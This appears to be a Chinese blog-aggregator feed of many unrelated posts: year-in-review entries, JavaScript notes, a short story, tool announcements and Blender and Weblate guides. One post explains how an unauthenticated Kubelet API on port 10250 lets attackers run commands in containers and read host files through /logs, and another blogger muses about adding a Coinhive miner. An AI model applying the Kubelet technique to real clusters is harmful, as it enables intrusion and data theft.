Recent Posts

's avatar

2018 年对 IE 8 的支持?

最近我在填一个面向其它企业客户的、浏览者基本上是非 geek 的企业网站的坑。起初我的效率很低,因为很多心思都花在了对 IE 8 的支持(担心还有使用 Windows XP 的浏览者,我就差激动的给 IE 6 也做支持了),但经过对很多类似企业网站和目标访客类型的考察,发现了一些共同点:

  • 很多支持 IE 8 甚至是 6 的企业网站,其实设计风格、框架等等本身就比较陈旧,并没有使用任何 HTML5 的特性,在现代浏览器上也不会有更好的体验。
  • 很多近年来设计的企业网站都用上了若干 CSS3 的特性,并且没有提供 IE 8 的 Polyfill。
  • 很多近年来设计的企业网站都针对旧版 IE 增加了升级浏览器的建议提醒。
// 针对 Windows 7 / 8 用户
var IE11Usable = navigator.userAgent.indexOf("Windows NT 6") !== -1
    && navigator.userAgent.indexOf("Windows NT 6.0") === -1;

document.write('<div id="ie-sucks">');
document.write('你使用的浏览器版本过低,当前网页已经 <strong>不再支持</strong>。为了正常的访问,请考虑更换其它浏览器:<br>');
document.write('<a href="http://se.360.cn/" target="_blank">360 安全浏览器</a>');
document.write('<a href="http://browser.qq.com/" target="_blank">QQ 浏览器</a>');
document.write('<a href="http://pc.uc.cn/" target="_blank">UC 浏览器</a>');
document.write('<a href="https://ie.sogou.com/" target="_blank">搜狗浏览器</a>');
if (IE11Usable) {
    document.write('<a href="https://www.microsoft.com/zh-cn/download/internet-explorer-11-for-windows-7-details.aspx" target="_blank">IE 11 浏览器</a>');
}
document.write('</div>');

(我知道你们会说为什么不推荐 Chrome 或 FireFox 什么的啊,因为这网站面对的是非 geek,用那种浏览器会让他们窒息的)

  • 大量国内用户用着 Chromium 核心的国产浏览器,比如这个企业的老板用的就是 360 安全浏览器。
    虽然我并不喜欢这些套壳国产浏览器,但是它们为一般的国内访客提供了具有较为现代的 Chromium 内核的浏览器,还支持 Windows XP(Chrome 49、FireFox 52 以后就不再支持了),极大减少了前端开发者的负担,其实还是大快人心的(
  • IE 已经被 Edge 取代,它的市场占有也在全球范围大幅萎缩。
  • 我没有理由支持一个近十年以前的古董。

所以,后来我删除了那些奇怪的 IE 8 Hack,大胆使用了一些属于 HTML 5 的新特性,目前的目标改为了保证在 IE 11 和四大国产浏览器正常显示。

至于你的项目是否需要有古董 IE 版本支持,当然是要看项目需求的,某些情况下你还是要努力搞些 Hack 的(曾经听说过有菊苣在近几年接过需要支持 IE 5 的项目)。不过对于面向大众的网站,我想大胆用一些 HTML 5 特性且不带 Polyfill 应该没啥问题。

IceHoney Blog's avatar

JavaScript中的数据类型

隔了一个月,我又来发博客了。最近的工作老是在写CSS和HTML。但是我更想学习JS啊!我一直都觉得HTML和CSS是属于设计范畴的,而JS才是真正属于工程师的逻辑范畴。 况且最近Github上有一个神奇的项目Screenshot-to-code-in-Keras可以把截图直接生成HTML代码,我觉得只是单纯的从PSD翻译成页面的工作迟早要被淘汰。

最近在读You Don't Know JS这本书。书上讲解了很多关于JS的细节知识,对于深入了解JS有很大帮助。所以想在读的过程中把一些觉得有意思的东西记下来,便于以后复习。

类型

JavaScript中有七种内置类型:

  1. 空值(null)
  2. 未定义(undefined)
  3. 布尔值(boolean)
  4. 数字(number)
  5. 字符串(string)
  6. 对象(object)
  7. 符号(symbol, ES6新增)

除了对象之外,通称基本类型。

JavaScript中的设计BUG

typeof null === "object"; // true

正确的返回结果应该是null。但这个BUG由来已久,修复反而会出问题。所以我们需要使用复合条件来判断:

(!a && typeof a === "object")

接下来是NaN的问题:

var a = 2 / "foo";
var b = "foo";
a; // NaN
b; "foo"
window.isNaN( a ); // true
window.isNaN( b ); // true
NaN === NaN // false

很显然"foo"不是NaN,但显然它也不是数字。这个BUG也存在很久了,在ES6时代,我们可以使用Number.isNaN来解决。 ES6之前的polyfill是:

if (!Number.isNaN) {
  Number.isNaN = function(n) {
    return (
      typeof n === "number" &&
      window.isNaN(n)
    );
  };
}

并且NaN是JS中唯一一个不等于自身的值。

值和类型

JavaScript中的变量是没有类型的,只有值才有。变量可以随时持有任何类型的值。

undefined 和 undeclared. 变量在未持有的时候为undefined, 此时typeof 返回 undefined. 大多数开发者倾向于将 undefined 等同于 undeclared(未声明),但在 JavaScript 中它们完全是两回事。已在作用域中声明但还没有赋值的变量,是 undefined 的。相反,还没有在作用域中声明过的变量,是 undeclared 的。

var a;
a; // undefined
b; // ReferenceError: b is not defined
typeof a; // "undefined"
typeof b; // "undefined"

虽然b 是一个 undeclared 变量,但 typeof b 并没有报错。这是因为 typeof 有一个特殊的安全防范机制。防止因为未定义导致程序终止运行。

值和引用

在许多编程语言中,赋值和参数传递可以通过值复制(value-copy)或者引用复制(reference-copy)来完成,这取决与我们使用什么语法。但是JavaScript 对值和引用的赋值 / 传递在语法上没有区别,完全根据值的类型来决定。

简单值(即标量基本类型值,scalar primitive)总是通过值复制的方式来赋值/传递,包括null 、 undefined 、字符串、数字、布尔和 ES6 中的 symbol 。

复合值(compound value)——对象(包括数组和封装对象)和函数,则总是通过引用复制的方式来赋值/传递。由于引用指向的是值本身而非变量,所以一个引用无法更改另一个引用的指向。

var a
var b
a; //
b; //
= [1,2,3];
= a;
[1,2,3]
[1,2,3]
// 然后
b = [4,5,6];
a; // [1,2,3]
b; // [4,5,6]

b=[4,5,6] 并不影响 a 指向值 [1,2,3] ,除非 b 不是指向数组的引用,而是指向 a 的指针,但在 JavaScript 中不存在这种情况!

参考:

You Don't Know JS

神楽坂伊織's avatar

俺说游戏EP09:Feel True Power!

《俺说游戏》回来啦!
2018年的《俺说》和《俺说游戏》将会有更多变化,敬请期待!
今天来聊聊世代最强主机——Xbox One X!
更有好书推荐!
欢迎收听!
Fenking's avatar

至我还未过去的2017

今天是2017年13月14日。
今年还没有过去,我姑且说它是上半年过完了,接下来是2017年的下半年吧,
就像口袋妖怪金银篇里一样城都完了关东地区同样是主线。
如果说为什么还是2017年
我想这一年大概什么都没获得吧。
每一次被告知的结果都是没有想象的好,但实际上都是相当绝望的答复。
每一次得到都是为接下来的得而复失作预告。
那些付出了生命一部分的努力们,什么都没有回报于我。
那些过去的美好一瞬间付之东流,那些过去的轻松转瞬间化为生活的淤泥和沼泽
深深陷住我的腿脚,我每一步都在为了活命而抗争。
我大概糟了什么罪,好像事与愿违。
一张张书写着绝望与愤慨的报告单和检查表、
一句句传达着操劳与表面的劝言和心里话、
一个个好似无知而又不断获取着身边一切;控制着它们的身影、
一堆堆视野之外的传达不到的话题与论点。
我像一个只留下了某些事物的半文盲,在半懂或懂的境界里徘徊,
看着身边的一步步前进,询问自己是否做出了内心的选择。
既然选择了去实现梦想,那是否要从一无所有开始?
还是说你并非一无所有,你脚下充满了那些其他人看不见的绊脚石?
我的2017还没有结束。他暂时不会结束的。
人们总说我年轻力壮,总说我能有什么病——年轻人怎么会有病?
我年轻,我希望我力壮,我不指望我没病,但我希望就算是病,也不是我一个人。
从2016年的8月开始,我走上了一个人的道路。我觉得我没有高一高二那么成熟有力了。
当年的我可以很自豪,很有力量地向周围默默传输我的能量,让他们知道我是谁;
可那之后的我,命运开始偏移,我的力量只能放在自己的心里,慢慢腐烂。
一气之下写了这么多的废话。
曾经很希望博客是私人的领地,愿观者自能观望。曾经也希望博客是那些“我们”的露营地,大家互相看着对方的未来。
如今的我希望,走在不同道路上的人即时看到了,也能欣慰地接受该多好。
希望我的2017,只有短短26个月。
2017 下半年快乐。
及时我笑不出来,哭不出来,我也希望能平静地活下去,活下去。
怒伤肝,思伤肝,愁伤肝。如果我是个暮年的老人,一生饱满,多好。
下半年,已经不会在去追求那些无关紧要的事物了,我只希望:健康,学业,知识。
2017年13月14日。今天的日期不错。

Cee's avatar

Oh My 2017

Summary

合縁奇縁 一期一会

Moments

1 在箱根,第一次泡温泉

2 在杭州见了 61,聊了独立开发

3 渡鸦被百度收购

3 有学上了

4工藤去了趟香港

4 香港回来的第二天骑摩拜摔断了腿

5 深圳,@Swift Conf,当了次主持

5 辞职回家

6 美国面签

7 补牙

8 ✈️ 去大美帝

9 拿到了新泽西驾照

10 万圣节

11 北美音游群聚会

12 无尽的作业和大作业

12 暴雪

12 决战 C93

Input & Output

+ iPad Pro 10.5-inch (Silver)

- Sony Z5 Dual (E6683)

+ Sony WI-1000X (Black)

+ iPhone X (Space Gray)

- iPhone 7 Plus (Jet Black)

Numbers

  • 7,481 photos
  • 4 posts
  • 2,535 twitter followers
  • 632 instagram followers
  • 6 books
  • 178 contributions (only on GitHub)
  • Maybe… almost wrote PHP & Java in this year

Hall of Fame

The Next

  • 找到一个好点的 Intern
  • 多写一点 Side Project(17 年基本没怎么写)
  • 努力找到另一半😘
Jixun Moe's avatar

100% Orange Juice - 资源解包工具 v1.0

支持 Win7+ 系统。

支持类型:

  • .dat 解密
  • 伪装为 ZIP 压缩包,内部包含后缀名为 .dat 的加密文件 (如 animation.pak)
  • 将合并后的 ogg 拆分成单独的文件 (如 bgm.pak)
  • 将合并后的 wav 拆分成单独的文件 (如 se.pak)

调用参数

OrangeDecryptor <输入文件> <输出路径/目录> [模式]

不带模式的话,将尝试自动识别。

下载

季寻储存

SHA-1: 5800e8d30113541be6a31e7c0365282312102bf8
SHA-256: 20c316cf8fca7e8e18bcdea81d58964afc54dd3ea3582ff358118d1eab80062f
Jixun Moe's avatar

100% 橙汁修改器更新 (2.7)

更新 2.7

游戏发布了新版本,修改器进行了相应的维护性更新。

没有新增功能,仅修复了游戏版本更新带来的兼容性问题,以及测试时发现的一些小问题:

  • 先选择功能,然后点击「寻找游戏」会导致修改器崩溃的错误。
  • 默认界面字体修改为雅黑细体。

100% Orange Juice 修改器


另外在测试的时候发现可以分身,以下是演示视频 (马赛克版本,标清点我):

您的浏览器不支持在线播放,请下载后观看。

Kouga's avatar

三题

“呃……”我拿着铅笔的手又停了下来,“这样好像不也太对啊……”

总之又是个深夜了,但是眼前这简单的三个题目仍旧让我无法进行下去。虽然不是什么很困难的题目,但是总觉得如果继续写下去就是矛盾重重的结果,那样就会变成无论谁都无法接受的展开了,可能又会引爆一到两个群体也说不定。

好在深夜里也是有好处的,比如电力供应高峰过去了,现在就算全功率计算也不会出现高昂的电费账单了。而且由于大部分人类都进入梦乡,此时网络带宽也空闲不少,只有一些Bot在网络上游走,试图压榨它们那优先级并不高的线路带宽。

唔,这个时间适合来验证那个问题了:据说此时抛硬币的话,会出现连续结果都是正面的情况,而且无解。虽然这个听上去就是个都市传说,不过验证一下并不会像打破三题那样造成更大的破坏性,正好可以换下负载让过热的大脑轻松一下。

于是,随手拿起一枚硬币,放在拇指指甲上,弹起——叮~ 硬币划破空气传来了清脆的声音,啪!的接住它,嗯,这次是正面,不过这是刚开始而已,再来——叮~啪!正面 * 2,嗯,因为独立事件互相不会干扰,所以继续吧……正面……正面……正面……正面……正……

连续的正面开始挑战我的理智了……这不应该的……本该随机发生的事件现在突然开始变得连续而统一,这不可能,随机性质的事件为什么变得像理所当然的一次又一次的重复着同一个结果,就像随机数女神已经睡着了一样……啊啊啊……为什么会这样呢……明明想要放松一下大脑的,结果这会儿因为分析这件事情又开始满负荷运转了……

时间悄无声息的流逝着,而我却仍旧在执著的想要打破这个可怕的循环,抛起,接住,正面,抛起,接住,正面……直到第一缕阳光倾泻下来,电力系统开始由蓄电向发电切换的一瞬间,抛起硬币的手臂因为这个波动导致力矩有了一点偏差,而修正机构没来得及在硬币脱手前补正,随着硬币再次飞起,落下,啪!这次终于不再是正面了!欣喜的我流下了两行过热溢出的冷却液,却再也无法计算这是怎么回事了,因为今天的工作又要开始了。

“编号SX-8012的那个机器人又在试图挑战三定理,还好它自己又陷入死循环了,竟然在不停抛硬币,哈哈哈”

h404bi's avatar

推特背后的 Notch 之道

公众最近已较少听到著名游戏 Minecraft 的创造者“马库斯·佩尔松”相关的消息。在出售了 Mojang 与购买 7000 万美元贝弗利山庄巨型豪宅之后,他曾接受过一些采访,但自那以后他一直都很沉默
Jixun Moe's avatar

再见 2017,你好 2018

又是新的一年,今年也请各位多多关照了。

今年发生了很多争议性的事件,不管国内还是国外。希望新的一年更加安稳吧。

是时候公开一波今年的坑了:


开新坑:

  • 网易云音乐非官方客户端 - for Chrome
  • Enhanced dnvod.tv (多瑙去广告与优化)
  • 赞助墙
  • 各类单机游戏修改器 / ct 修改表

网易云的第三方客户端项目其实年前就开始了。起因是在 ChromeBook 直接用网页版发现很多 API 已经不能用了。不过开发进度缓慢,现都还是 α 阶段(功能缺失)。

多瑙最初只是得知同学嫌弃网页上的广告做的去广告脚本。之后也跟着跟新了下其他的功能,与运维斗智斗勇。但是因为用户脚本的局限性,部分功能无法实现。于是想做成扩展程序来实现。

目前没多少人赞助,感觉「赞助墙」这个项目要无限期延后了。可能因为我只收 PayPal?之后可以尝试开个 Patreon 试试水。


继续维护:

  • 网易云音乐反代服务器
  • 维护部分用户脚本。

服务器续了一年,至少到今年结束之前为止不用担心。

用户脚本对我来说是一个很锻炼的开发方案,因为:

一、能在不考虑大多数兼容性问题的前提下尽可能的利用新的前端特性。
二、和网站斗智斗勇,感觉运维可能不太喜欢我… 还是尽量别太过分吧。
三、我编不下去了


放弃维护:

  • 针对多站实行特殊处理的用户脚本
  • 过气游戏 RabiRibi 游戏修改器的更新?
  • 其他很久没有动过了的东西…

针对性维护的成本太大。

每隔一段时间就会出现新的一批,也会死掉一批网站。

从当初「只是为了解除脚本针对 Opera 浏览器上执行的限制」到后来的巨无霸… 感觉已经越走越偏了 哈哈。

RabiRibi 这个游戏刚出的时候也玩得挺开心,因为手残的原因(或之一?)就打算做个修改器了。

开始的时候也就小圈子里在用,然后就放了出来。然后游戏开始经常小更新,但不知为何每次都会修改主程序,找到的地址都会随着游戏更新而失效。

于是找到了个对抗方法 - 特征码搜索。虽然小更新不断,但是基本上只要不是特大更新修改器都能直接用。一直到上次发现失效,拖延到现在都没更新。

新的一年又迷上了新的游戏,可能对兔子🐰修改器的更新也就到此为止了吧?有时间会把源代码放出来做个了断 - 因为当初没想着开源,代码写得很乱。


最后,各位看官,祝大家新年快乐!

liwanglin12's avatar

Bye 2017, Hi 2018

CE2018,LWL 的自由天空,雷达已识别,上升到高度层 1514736000。






- EOF -

brainbush's avatar

咸鱼2017

嗯,2017年就这样过去了。当了一年咸鱼……


今年只剁手了个27UD68,别的支出好像都拿去买书和给学校垫钱了的样子。

脚踏实地,勿忘初心。

和三年前想法差不多呢……(反正目标好像没变)

还是单身

's avatar

2018 将至

回头看看我的 2017,发生的事情貌似不少。

不可思议的

  • 我用着一部没有 root 的 Xperia XZ Premium,居然很开心
  • 我用上了曾经被我黑来黑去的 MacBook Pro,闭嘴了
  • 我家里的 Windows 台式机配置更平衡了,仅仅因为我增加了 RAM 和 SSD,不过比较残念的是主板上四个 SATA 口都是 SATA2 的。PCIe SSD?我好穷啊
  • 买了一大堆奇怪的外设,其中一部分是为我 MacBook Pro 的妥协(Type-C),把我自己炸的不要不要的
  • 对三次元音乐大幅恢复兴趣
  • 突然变得通俗、接地气
  • 身份又增加了半吊子设计师
  • 我与我的舍友用着同样的手机、同样的 Type-C 转接头、同样的 U 盘
  • 在正版软件上砸了不少钱,基本实现了软件完全正版化
  • 本博客在 2017 年还活着
  • 解散了所有自己管理的 Telegram 群组,因为我真的不适合做社区管理员(

三次元的

  • 我度过了人生中最后一段高中时光,进入大学
  • 我有了很多三次元小伙伴
  • 第一次与网上的 dalao 面基
  • 做事被迫变得很麻利
  • 我开始主动寻求改变自己内心很奇怪的一面。也许以前我的三次元生活确实很惨,但它们都过去了,就试图从现在开始变得更好

Geeky 的

  • 开始第三次学习 JavaScript,阅读了《你不知道的 JavaScript》等书籍。曾经受某专家毒害停留在 IE6 时代的我终于用上了 ES7,还开始使用 gulp,eslint 这些看起来很高大上的东西。它们真的好好用啊,减少了很多不必要的付出
  • 开始尝试使用 PowerShell,主要是不希望继续拘泥于 Linux 的命令行
  • 第一次提交自己的程序到 NPM,分别是 Typecho Markdown 导出工具OneAnime.js
  • 用上了 qwe7002SilverBlog,当了一回小白鼠,并为他提出了很多建议,同时受到了其思想熏陶(
  • 系统分工更明确:家里的台式机跑着 Windows 10,我的 Macbook Pro 当然跑着 macOS,从闲鱼收的 二手 NUC 跑着 Debian testing,XZ Premium 沦落成瘦客户机,Orange Pi One 吃灰开始

瑟瑟发抖的

Flash Player 要在 2020 年 停止支持 了。虽然是在意料之中,知道它已经过时了,不过还是感觉很惋惜。如果不是小时候被舅舅安利 Flash 6,接触 ActionScript,也许我永远不会跳进码农这个大坑呢。

荣耀的

我被评为 SMW Central 2017 年 12 月的 Member of The Month。虽然这真的只是我的业余爱好,但这样还是很开心的。

总之

我很幸福。

希望在 2018 年,这种幸福可以持续下去。

Phoenix Nemo's avatar

自托管的在线协作翻译平台 Weblate

起因:Transifex 这货闭源一段时间后突然开始抢钱了。

正巧一堆开源项目需要一个在线协作的翻译平台,于是测试了几个比较知名的开源程序。一遍折腾下来,发现 Weblate 可以最大化满足要求。顺便提一句,Weblate 也是有 hosted 付费服务的,但是在预算内的源字符串等限制依旧太多,所以选择使用他们的源码来搭建一套。

以及:我讨厌 Docker。

ホロ's avatar

啥??两年了???

其实还差几天😂

状况

其实咱四月才装上 Piwik ,于是下面的数据都是四月以后的了……

嗯……每天大概有二三十个人来看咱的样子(

嗯……

嗯……大概知道这个 vivo 是谁撑起来的了 😂

嗯……用 Android 和 GNU/Linux 的越来越多了嘛,不知道有没有一天能超过 Windows 用户)

嗯……和大局一样,Chrome依旧领跑。(怎么还有 QQ 浏览器和 MIUI ??😂

嗯…… 😂

活动

  • 今年写的文章只有去年的一半……看来摸了不少🐟啊😂
  • 搞了个 X230,自己刷上了 Coreboot 换上了新的无线网卡,装上了 Parabola( 似乎走上了一条不归路…… 😂)
  • 自己建的 Telegram 群全都解散啦😂看来咱就是没有管理的能力啊……
  • 突然从 FT 跳进了一个更大的坑,没错就是 NIMABE BEMANI 😂
  • 然后突然又和某个如梦方醒的学长一起学算法去了……
  • 给别人安利音乐游戏然后自己被虐成渣…… 😂
  • 剩下的全忘啦😂

计划

其实有没有计划好像都没啥区别😂
  • 想考虑放个 PayPal 捐款链接上去(就是不知道哪里获取……)
  • 或者像 uva 一样放个 coinhive js 上去(不过好像不少人讨厌的样子……)
  • 不知道该写些啥……

期望

不只要成为回忆而已~

(诶咱在说些啥)

Ricter's avatar

Security Issues of Kubelet HTTP(s) Server

1. 认证介绍

Kubelet 在 10250 端口上提供了一个 HTTPS 的 API,通过这个 API 可以控制 Pods。Kubelet 对此 API 设置了几种认证方式,通过--authorization-mode指定:

  • ABAC (Attribute-Based Access Control)
  • RBAC (Role-based access control)
  • Webhook
  • Node
  • AlwaysAllow(不指定 --authorization-mode 时的默认值)
  • AlwaysDeny

在 Kubelet 的老版本(1.5 之前)不支持认证和授权,这就导致攻击者可以通过访问 10250 端口的 API 来获取容器权限。

2. 容器内命令执行

通过 /runningpods 获取正在运行的 Pod 列表:

需要的几个参数:namespace、pod_name 和 container_name。接着利用这几个参数请求 /run

即可在容器中运行任意命令,或者控制容器。

3. 信息泄漏

Kubelet HTTP API 源码文件在 /pkg/kubelet/server/server.go,代码如下:

ws.
    Path(logsPath)
ws.Route(ws.GET("").
    To(s.getLogs).
    Operation("getLogs"))
ws.Route(ws.GET("/{logpath:*}").
    To(s.getLogs).
    Operation("getLogs").
    Param(ws.PathParameter("logpath", "path to the log").DataType("string")))
s.restfulCont.Add(ws)

调用 getLogs 方法,接着调用 ServeLogs

func (kl *Kubelet) ServeLogs(w http.ResponseWriter, req *http.Request) {
    // TODO: whitelist logs we are willing to serve
    kl.logServer.ServeHTTP(w, req)
}

定位到:

func (kl *Kubelet) Run(updates <-chan kubetypes.PodUpdate) {
    if kl.logServer == nil {
        kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
    }
    if kl.kubeClient == nil {
        glog.Warning("No api server defined - no node status update will be sent.")
    }

实际上就是启动了一个 FileServer,目录为 /var/log。所以可以通过访问 /logs 来列出 /var/log 的目录,会造成一些信息泄露的问题。

另外如果挂载了 /var/log 到容器内的话,可以通过在容器内创建软链接到 /,再利用 /logs 即可读取容器外的任意文件。不过在实际环境中我暂时还没有遇到过(难受)。

参考

  1. https://github.com/kayrus/kubelet-exploit
  2. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go
Jixun Moe's avatar

法国服务器可能会在新年时期中断 (已更新)

这两天放假可能没人管,等周三看看。

以后要记得在假期来之前续费 orz


2017-12-27

续费成功,确定不会中断服务。

's avatar

简易在线 JSON 制表

为了把下方文本框所示那样的 JSON 转换成 HTML 表格,我糊了一个在线小工具。

制表
本互动页面需要 JavaScript 支持,如果你在 RSS 阅读器之类的地方看到本提示,请前往原文查看。
等待你的输出!

免责声明

本工具的开发纯属娱乐,因此不接受「有比我造的更好的轮子」的评论(

Dimpurr's avatar

BigDataGumi 一期小记 – 浅尝爬虫数据抓取和简单可视化分析 (PySpider)

这篇文章记录了利用 bgm.tv 动画条目和评分数据进行数据统计分析的的初步进展,包括设计网页爬虫抓取数据、利用可视化分析工具尝试获取有价值信息的实际操作部分,还可以了解到数据分析部分领域的概貌。

本文来自 钉子の次元 - Dimpurr - 千里之行,始於足下。 ,原文地址 BigDataGumi 一期小记 – 浅尝爬虫数据抓取和简单可视化分析 (PySpider)

Jixun Moe's avatar

多瑙下载解析说明

前提要求

  1. 已某种形式安装了多瑙影院去广告 & 增强用户脚本。
  2. 使用的是 Chrome 或基于 Chromium 内核的浏览器,并安装有 Smart Header 插件扩展程序。
  3. Firefox 浏览器用户请看结尾处的说明。

具体过程

打开 Smart Header 扩展的选项页(找不到的话可以复制这个地址打开:chrome-extension://ncgnmldbedmbadafajhjeahmafdmggbp/config.html),单击右上角的选项 (Options)。

在正中间的高级模式(Master Mode)一栏,填入下述内容:

然后单击 Mix(beta) 合并设定项,刷新多瑙页面即可利用脚本抓取到新的下载地址。

关于火狐浏览器的支援

更新至火狐版本 43 或以上版本即可正常解析下载地址,不过访问下载服务器需要对 UA 进行伪造(或将获取到的下载地址用手机上的浏览器访问)。

我对火狐的附加程序不是很熟悉,不知道如何推荐,请自行寻找。

匹配规则为 server*.dnvod.tv 这个通配符域名,将其修改为手机的 User-Agent 值即可。

碎碎念

之前在分析获取视频内容过程的时候,发现会返回数据会带上用于手机播放的地址(加密后),于是当视频解析成功的时候把原本页面上的下载地址给替换掉了。

今天调试去广告代码的时候发现这篇数据消失了;尝试模拟为手机访问却又包含该段数据,因此确定该数据通过检查手机的 UA 实现。

嘛 就这样吧。

's avatar

[brief] 如何提出计算机相关问题

我发现很多计算机相关问题解决速度不够快,或者进度很快夭折的原因,是他们不会合理地提出计算机相关问题,不会合理地尝试解决问题。

有时他们试图在互联网上提问,但因为上述原因,他们往往会被潦草地告知先去阅读《提问的智慧》(或者 RTFM),或者被直接无视。虽然说这里面确实存在着不知感恩的伸手党,但也有很多人只是心急火燎地试图解决问题,因为上述原因走到了无可奈何的地步。

我看到这种场景一次次发生,顿生怜悯之心,决定撰写这篇博文。

先看看软件的官方说明

对于一些常见的错误,软件官方说明一般会以 FAQ(常见问题)的形式给出解决方法,看一看往往很有用。

不要认为别人知道的跟你知道的一样

「这个 APP 为什么在我手机上闪退啊?」

这个问题看起来很简单,但是对于别人来说很难:你的手机是什么品牌的?配置如何?Android 版本是哪个?系统被厂商魔改程度如何?等等。

因此,提出计算机问题(特别是在网络社区提问),一定要考虑下这个问题,并提供必要的信息(你的系统版本等等)。

相信软件给出的提示

「你的计算机尚未安装 Java,请访问 https://www.java.com 下载 Java。」

嗯,软件已经给出了足够的建议,但是小明直接把这个提示截屏下来,去群里问如何解决这个问题。Geek 们会感觉不可思议:软件都提示你去下载 Java 了啊!小明听说以后,就去下载 Java,问题解决了。

小明为什么会无视软件提示,其实很大的一个原因就是很多用户对软件提示的盲目不信任。有时系统提示「请与系统管理员联系」,但是这是我家的电脑,系统管理员是谁啊?同时,某些国产软件通过恐吓等方式诱使用户去添加启动项等等,而用户反感这种流氓软件,不信任这些软件提示。

其实来自负责任的大厂的软件、「民间」的很多免费软件和开源软件的提示都很负责,照着它们去做其实是解决问题的第一途径。

先了解这是什么

看到一个陌生的格式,你只知道这是图片或者音频,你有转换成熟悉的格式的想法。请控制住你的这种想法,先去了解这个陌生格式到底是什么、它与其它格式有什么不同。

说到这一点,我必须提一下我的一个失败例子:很久以前,我拿到 m4a 格式的音乐,我甚至没有去了解 m4a 是什么,就直接寻求把 m4a 转换成 mp3 的方法。那时哪怕我查一下 m4a 与 mp3 的区别,也许就会改变我的想法,直接去下个好一点的音乐播放器,避免浪费大量转换格式消耗的时间,还毫无意义地降低音质。

合理提供日志

小明想用 MultiMC 启动器启动 Minecraft,结果启动不成功,软件弹出一个窗口,显示了出现的错误详情。于是,小明就把错误窗口截图,在群里提问。但是,由于他的窗口并没有显示足够完整的日志,问题无法继续解决。

也许他看不懂这些日志里到底说明了什么,便觉得屏幕上显示出来的就够了。这种情况下,最好把当时运行时出现的完整错误日志发上去,并说明你想做什么,然后又发生了什么。

顺便提醒一下,大段日志请使用文本托管服务(比如 https://paste.ee ),不要直接贴到论坛上,甚至是聊天窗口里!被这样刷屏是很不爽的!

看看《提问的智慧》

虽然我说过这是一种潦草应付提问的理由,但是如果有时间还是要看看,虽然它很长。毕竟人家写的比我好啊(

kookxiang's avatar

I'm Still Alive

< 访问完整版以查看此播放器 >

's avatar

那种随机图片服务器,我照着糊了一个

最近随机图片 API 貌似在博客圈里火的一塌糊涂,除了各博主自行搭建的 API 以外,相信有不少博主也跃跃欲试,想自己搭建一个。

我有点蛋疼,所以忙里偷闲,照着前辈 qwe7002 两年前开始做的 随机图片输出服务器,用 JavaScript 做了个复刻版。

目前已经在 GitHub 以 BSD3 许可证 开源,并 发布到了 NPM,具体部署方法等请见 这里

特色功能

目前不少随机图片 API,其本质就是 302 到一个图片地址就没事了。我觉得这样做会增加没必要的连接数,而且会降低图库被扒的难度(恐怕会导致你的资源爆炸)。

考虑到客户端体验与 VPS 普遍性能:

  • 内置一个简易 http 服务器,完成所有核心功能
  • 为减少服务器带宽与流量使用,对于支持 WebP 的浏览器,自动将图片转换成 WebP 格式
  • 对于不支持 WebP 的浏览器,自动将图片转换成 JPEG Processive 格式,以提升用户体验
  • 将优化的转换结果缓存,减少不必要的重复计算

曾经考虑过的功能

  • robots.txt 等静态文件支持
    交给 nginx 做
  • 白名单功能
    交给 nginx 做

为什么老交给 nginx 做啊?

为了贯彻落实 UNIX 思维,OneAnime.js 内置的 http 服务仅负责最基本的业务逻辑处理,其余功能(个性化错误页、robots 文件、https 等等)交给反代用的 nginx 做。

nginx 作为一款成熟的大牌服务器软件,他们做的肯定比我好啊(

效果演示

emmmmm 目前并没有线上演示,不过有一张截图:


其实我犹豫过我要不要造这么个轮子,因为已经有 qwe7002 写的 Python 版了。但是我只是写着玩的(别打我

HY's avatar

Cell Phone Plans

17年开始,各个运营商之间的手机套餐之争开战了。 首先发力的是联通,和各个运营商合作出了很多非常划算的互联网套 […]
Phoenix Nemo's avatar

使用 Blender 渲染 Minecraft 3D 效果图

突发奇想渲染 Minecraft 3D 效果图,首先用 Chunky 尝试了一下发现效果虽好但:

  • 人物动作过于限制
  • 渲染太!慢!了!

然而并买不起 Cinema 4D,所以来尝试一下 Blender 啦~

准备工作

  • 比较好的显卡。我的家用游戏机是 NVIDIA GTX 1080Ti,Cycles Render 可以 offload 掉绝大部分 CPU 的压力。
  • 安装 Blender
  • 下载 jmc2obj
  • 下载 MCPrep
  • 准备地图、材质、玩家皮肤等资源。

导出地图文件到 obj

启动 jmc2obj,在最上方选择地图存档位置并单击 load。在 UI 里选择要导出的地图部分,点击 Export。在左侧的选项中依次:

  1. Map Scale = 1.0
  2. Center 选中,否则可能会出现在距离地图很远的地方
  3. Texture Export
    • Pre-scale textures - 如果是原版材质,建议设置为 4x。如果是高清材质,按需要选择即可。
    • 不勾选 Export alpha channel in separate file(s)
    • 不勾选 Export all textures in a single file
    • 选择从 Minecraft 安装里导出默认材质,或自行选择一个额外的材质包。
    • 然后选择材质的导出位置。建议在目标目录中新建一个 textures 目录,然后导出到此目录中。此目录里面会出现一个 tex 目录,包含所有的材质文件。

材质导出进度完成后,开始导出地图文件。在右侧的选项中依次:

  1. 取消所有的选项勾选
  2. 勾选 Create a separate object for each material
  3. 可选勾选:
    • Render Entities
    • Occulude different adjacent materials
    • Optimize mesh
    • Do not allow duplicate vertexes
  4. 其余选项均保持非勾选状态
  5. 点击 Export 导出到之前创建的 textures同级目录
  6. 可能会遇到 banner 找不到材质的问题,忽略继续。导出后还不能使用,需要一个简单而 ugly 的 hack - 再导出一遍覆盖之前的 obj 和 mtl 文件。

导出后的工作目录如下:

.obj 文件是地图数据,.mtl 则是刚才导出材质的材质索引,指向 textures/tex 的相对路径,因此这些文件的相对位置不能改变。

安装 MCPrep

启动 Blender,在 File -> User Preferences -> Add-ons 里,选择 Install Add-on from File...

然后点击下载好的 MCPrep 的 .zip 文件即可。

导入 blender

启动 Blender,先删掉默认的 object 和 lamp,然后依次选择 File -> Import -> Wavefront (.obj)

选择刚才生成的 .obj 文件导入。

(大概会卡一会儿… 喝杯茶先)

导入完成后,首先需要设置材质。选中所有 object (快捷键 A,如果被反选则再摁一次即可),左侧标签页切换到 MCPrep,然后点击 Prep Materials。

进入 Walk Navigation 模式(或者其他熟悉的移动模式),Add -> lamp -> Sun 然后将添加的 Sun 光源移动到地图的合适位置(比如一个边角)。

然后移动 Viewport 到合适的位置,将默认的 Camera 对齐到当前视角。快捷键 Ctrl+Alt+0

设置背景

在 Blender 的上方菜单栏中,有 Blender Render 和 Cycles Render 两个选项。

